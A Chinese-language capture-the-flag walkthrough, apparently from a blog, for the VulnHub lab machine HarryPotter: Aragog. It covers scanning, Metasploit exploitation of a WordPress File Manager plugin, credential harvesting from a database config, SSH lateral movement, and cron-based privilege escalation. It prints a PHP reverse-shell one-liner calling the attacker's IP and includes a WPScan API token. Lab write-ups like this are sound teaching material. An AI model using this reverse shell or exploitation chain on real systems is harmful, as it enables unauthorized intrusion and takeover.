靶场:HarryPotter: Aragog (1.0.2) HarryPotter: Aragog (1.0.2) ~ VulnHubhttps://www.vulnhub.com/entry/harrypotter-aragog-102,688/
攻击机:kali-linux-2024
第一部分:信息收集
1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址
2,攻击机上做主机扫描发现靶机
靶机IP地址192.168.1.129,攻击机IP地址192.168.1.128
3,扫描靶机端口服务
nmap -sS -sV -n -T4 -p- 192.168.1.129
4,开始分析挖掘各端口分别存在什么可利用漏洞
22端口放着暂且不论,先看看80端口的http服务。只是一个静态页面
那就使用gobuster开始爆破靶机网页的子域名
gobuster dir -u http://192.168.1.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt.bak,html,jpg
尝试访问可能存在漏洞的网页
192.168.1.129/index.html 就是默认页面
192.168.1.129/blog 博客页面可能存在漏洞
查看页面源代码
提示需要做一个域名映射,修改kali的/etc/hosts文件
由此通过域名成功访问网站 http://wordpress.aragog.hogwarts/blog
5,使用whatweb扫描网页
whatweb http://wordpress.aragog.hogwarts/blog
WhatWeb是一款用于识别网站技术栈和特征的开源Web扫描工具。它可以自动分析网站的响应并识别出使用的Web框架、CMS(内容管理系统)、服务器、JavaScript库等技术组件。WhatWeb的目标是通过分析网站的内容,提供有关目标的技术信息,这对于安全测试、漏洞评估和信息搜集等任务非常有用。以下是WhatWeb的一些特点和功能:
- 自动识别技术栈:能够自动检测网站使用的各种技术,包括Web服务器、Web应用框架、CMS、JavaScript库等。
- 插件系统:具有可扩展的插件系统,允许用户自定义检测规则和添加新的检测模块,它拥有超过1000个插件(如在2024 - 08 - 17的搜索结果提到有超过1000个插件,每个插件能识别不同的东西),每个插件都能识别不同的内容,还能标识版本号,电子邮件地址,账户ID,Web框架模块,SQL错误等。
- 多种输出格式:支持多种输出格式,包括文本、JSON和XML等,使其易于集成到其他工具和流程中。例如可以使用--log - brief = FILE简单的记录(每个网站只记录一条返回信息)、--log - verbose = FILE详细输出、--log - xml = FILE返回xml格式的日志、--log - json = FILE以json格式记录日志等多种导出结果的方式。
- 灵活性:用户可以通过命令行参数或配置文件来控制WhatWeb的行为,例如设置扫描深度、使用代理、指定用户代理等。
- 分析页面内容:除了识别技术栈,WhatWeb还能分析页面内容,识别关键字、文件路径、目录结构等信息。
WhatWeb可以隐秘、快速、彻底或缓慢扫描,支持攻击级别来控制速度和可靠性之间的权衡。默认的攻击级别称为被动,速度最快,只需要一个网站的HTTP请求,适用于扫描公共网站;在渗透测试中开发了更积极的模式。例如它有4种扫描级别(通过数字1 - 4选择,默认为1):
- stealthy(每个目标发送一次http请求,并且会跟随重定向);
- unused(不可用,从2011年开始,此参数处于开发状态);
- aggressive(每个目标发送少量的http请求,这些请求是根据参数为1时结果确定的,使用命令whatweb - v - a等级 域名进行这种扫描等级的操作)。
6,得到关键信息CMS为WordPress 5.0.12,可以searchsploit WordPress 5.0.12
7,或者我们使用针对wordpress漏洞的扫描器WPScan,可以扫描出wordpress的版本,主题,插件,后台用户以及爆破后台用户密码等,加上 api-token 扫
wpscan --api-token=blsnsog49N5d0UwAIYACcXs3fKbchB7JpbCgNutJRHA --url http://192.168.1.129/blog -e p --plugins-detection aggressive
可以 发现该站点的插件中有很多漏洞,而且都是关于file Manager的
漏洞利用部分:
8,msfconsole工具搜索有关漏洞的信息
针对特征使用第一个模块 use 1;查看需要配置的信息 info
需要配置rhost(目标主机),targeturl(目标网址),这个目标网址会自动跟前面的目标主机拼接,所以我们直接把rhost设置为靶机的ip,targeturl设置成/blog即可,这里因为使用的是反向,所以还需要配置自己的主机ip
set rhosts 192.168.1.129
set lhost 192.168.1.128
set TARGETURI /blog
run
shell获取终端,成功打进靶机
9,在终端下做信息收集,查看当前所在路径,并且查看存在多少个普通用户
10,分别查看一下这些普通用户目录下有什么敏感信息
收集到一串密文,根据特征猜测这个是base64编码
horcrux_{MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==}
1: RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets
11,可以查看一下数据库的配置文件获取密码,在数据库里面搜索敏感信息
cat config-default.php
直接就得到了用户名root,密码mySecr3tPass,可以直接连接数据库
12,通过python改善一下交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
mysql -u root -p
Enter password: mySecr3tPass
查看数据库show databases;
查看表名show tables;
wordpress数据库保存的用户名和密码一般都放在wp_users表里面的,直接查看所有字段
$P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc. ,MD5解密得到密码password123,账户是hagrid98
13,拿到账户密码之后,结合第3步扫描出22端口提供的ssh服务,可以进行ssh登录
14,查看权限三件套
15,查看能否利用sudo或者suid提权
sudo -l
find / -user root -perm /4000 2>/dev/null
find /: 从根目录开始查找文件。
-user root: 查找属于root用户的文件。
-perm /4000: 查找具有SUID权限的文件。SUID权限的数字表示是4000。
2>/dev/null: 将标准错误输出重定向到/dev/null,即忽略错误信息。
16,以上两种常用方式不行,那就看看有没有可执行的脚本,然后查找备份文件,查看有没有.sh结尾的文件
find / -name '*.sh'
cat /opt/.back.sh
把上传的文件复制到tmp这个目录里 ,说明这个文件每过一段时间就会执行,猜测这条命令是被写入了计划任务,提权利用的方法:创建一个反弹shell的脚本并通过它这个计划任务来执行。先在tmp文件写反弹shell的php脚本,脚本代码:
<?php $sock=fsockopen("192.168.1.128 ",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?> 这段PHP代码的目的是建立一个网络连接,并通过该连接执行一个shell命令。具体来说,它尝试连接到IP地址为192.168.1.128的机器上的4444端口,然后通过该连接执行一个交互式的shell命令
fsockopen函数:
fsockopen("192.168.1.128", 4444);:这行代码尝试打开一个到192.168.1.128的4444端口的网络连接。如果连接成功,$sock将包含一个文件指针,指向该连接。
exec函数:
exec("/bin/sh -i <&3 >&3 2>&3");:这行代码使用exec函数执行一个shell命令。/bin/sh -i表示启动一个交互式的shell。<&3 >&3 2>&3表示将标准输入、标准输出和标准错误都重定向到文件描述符3,而文件描述符3正是之前通过fsockopen打开的网络连接。
潜在风险
这段代码存在严重的安全风险,因为它允许远程执行任意命令。如果这段代码被部署在服务器上,攻击者可以通过连接到指定的IP和端口来执行任意命令,从而可能控制整个服务器。
然后将执行脚本的命令写入到/opt/.backup.sh
与此同时攻击机要打开端口监听
17,可以看到成功提权,得到flag
2: maRvoLo GaUnt's riNg deStrOyed bY DUmbledOre
主机扫描发现靶机——对靶机端口服务进行扫描——靶机端口服务漏洞排查——爆破网站子域名——对子域名进行扫描——通过文件管理器插件存在的RCE漏洞,MSF利用——进行靶机获得shell——信息收集,得到数据库用户密码——数据库获取其他用户的密码——冒充其他用户进行ssh登录——信息收集寻找提权利用点——使反弹shell脚本通过定时任务执行——成功提权获得flag
声明:部分内容来源于网络,如有侵权联系删除
标签:插件,shell,1.0,端口,扫描,192.168,HarryPotter,Aragog,靶机 From: https://blog.csdn.net/zhongyuekang820/article/details/143244172